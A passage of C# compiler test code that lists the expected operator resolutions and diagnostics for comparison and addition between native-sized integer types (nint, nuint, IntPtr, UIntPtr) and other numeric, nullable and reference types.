binaryOps(symbol, "nint?", "int", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"));
binaryOps(symbol, "nint?", "long", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint?"));
binaryOps(symbol, "nint?", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"));
binaryOps(symbol, "nint?", "long?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint?"));
binaryOps(symbol, "nint?", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string");
binaryOps(symbol, "nuint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint"));
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint"));
binaryOps(symbol, "nuint", "uint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"));
binaryOps(symbol, "nuint", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint"));
binaryOps(symbol, "nuint", "ulong", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint"));
binaryOps(symbol, "nuint", "uint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"));
binaryOps(symbol, "nuint", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint"));
binaryOps(symbol, "nuint", "ulong?", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?"));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint?"));
binaryOps(symbol, "nuint?", "uint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"));
binaryOps(symbol, "nuint?", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint?"));
binaryOps(symbol, "nuint?", "ulong", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint?"));
binaryOps(symbol, "nuint?", "uint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"));
binaryOps(symbol, "nuint?", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint?"));
binaryOps(symbol, "nuint?", "ulong?", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string");
binaryOps(symbol, "System.IntPtr", "void*");
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char");
binaryOps(symbol, "System.IntPtr", "sbyte");
binaryOps(symbol, "System.IntPtr", "byte");
binaryOps(symbol, "System.IntPtr", "short");
binaryOps(symbol, "System.IntPtr", "ushort");
binaryOps(symbol, "System.IntPtr", "int");
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?");
binaryOps(symbol, "System.IntPtr", "sbyte?");
binaryOps(symbol, "System.IntPtr", "byte?");
binaryOps(symbol, "System.IntPtr", "short?");
binaryOps(symbol, "System.IntPtr", "ushort?");
binaryOps(symbol, "System.IntPtr", "int?");
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string");
binaryOps(symbol, "System.IntPtr?", "void*");
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char");
binaryOps(symbol, "System.IntPtr?", "sbyte");
binaryOps(symbol, "System.IntPtr?", "byte");
binaryOps(symbol, "System.IntPtr?", "short");
binaryOps(symbol, "System.IntPtr?", "ushort");
binaryOps(symbol, "System.IntPtr?", "int");
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?");
binaryOps(symbol, "System.IntPtr?", "sbyte?");
binaryOps(symbol, "System.IntPtr?", "byte?");
binaryOps(symbol, "System.IntPtr?", "short?");
binaryOps(symbol, "System.IntPtr?", "ushort?");
binaryOps(symbol, "System.IntPtr?", "int?");
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string");
binaryOps(symbol, "System.UIntPtr", "void*");
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char");
binaryOps(symbol, "System.UIntPtr", "sbyte");
binaryOps(symbol, "System.UIntPtr", "byte");
binaryOps(symbol, "System.UIntPtr", "short");
binaryOps(symbol, "System.UIntPtr", "ushort");
binaryOps(symbol, "System.UIntPtr", "int");
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?");
binaryOps(symbol, "System.UIntPtr", "sbyte?");
binaryOps(symbol, "System.UIntPtr", "byte?");
binaryOps(symbol, "System.UIntPtr", "short?");
binaryOps(symbol, "System.UIntPtr", "ushort?");
binaryOps(symbol, "System.UIntPtr", "int?");
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr?", "string");
binaryOps(symbol, "System.UIntPtr?", "void*");
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char");
binaryOps(symbol, "System.UIntPtr?", "sbyte");
binaryOps(symbol, "System.UIntPtr?", "byte");
binaryOps(symbol, "System.UIntPtr?", "short");
binaryOps(symbol, "System.UIntPtr?", "ushort");
binaryOps(symbol, "System.UIntPtr?", "int");
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long");
binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?");
binaryOps(symbol, "System.UIntPtr?", "sbyte?");
binaryOps(symbol, "System.UIntPtr?", "byte?");
binaryOps(symbol, "System.UIntPtr?", "short?");
binaryOps(symbol, "System.UIntPtr?", "ushort?");
binaryOps(symbol, "System.UIntPtr?", "int?");
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?");
}
foreach ((string symbol, string name) in additionOperators)
{
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "nint", "void*", $"void* void*.{name}(long left, void* right)", $"void* void*.{name}(void* left, long right)", new[] { Diagnostic(ErrorCode.ERR_VoidError, "x + y") });
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"));
binaryOps(symbol, "nint", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint"));
binaryOps(symbol, "nint", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"));
binaryOps(symbol, "nint", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint"));
binaryOps(symbol, "nint", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?", includeVoidError: true));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"));
binaryOps(symbol, "nint?", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint?"));
binaryOps(symbol, "nint?", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"));
binaryOps(symbol, "nint?", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint?"));
binaryOps(symbol, "nint?", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "nuint", "void*", $"void* void*.{name}(ulong left, void* right)", $"void* void*.{name}(void* left, ulong right)", new[] { Diagnostic(ErrorCode.ERR_VoidError, "x + y") });
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint"));
binaryOps(symbol, "nuint", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"));
binaryOps(symbol, "nuint", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint"));
binaryOps(symbol, "nuint", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint"));
binaryOps(symbol, "nuint", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"));
binaryOps(symbol, "nuint", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint"));
binaryOps(symbol, "nuint", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float?", $"float float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double?", $"double double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal?", $"decimal decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string", $"string string.{name}(object left, string right)", $"string string.{name}(string left, object right)");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?", includeVoidError: true));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint?"));
binaryOps(symbol, "nuint?", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"));
binaryOps(symbol, "nuint?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
